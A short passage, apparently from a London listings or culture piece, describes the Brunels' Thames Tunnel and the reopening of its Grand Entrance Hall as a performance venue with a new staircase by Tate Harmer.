by Isambard Kingdom Brunel and his father Marc Brunel, the Thames Tunnel was the first underwater tunnel in the world, and in 1843, the entry shaft, The Grand Entrance Hall, was a world-famous tourist attraction, with over a million visitors in the first three months of opening. Now, 150 years since it was last open to the public, and with a little help from Tate Harmer who’ve designed the new freestanding staircase, The Grand Entrance Hall is now London’s newest performance space. Half the size of Shakespeare’s Globe, the Hall will host exhibitions and concerts, including performances by Pop-Up Opera. Now that’s what we call an underground venue.
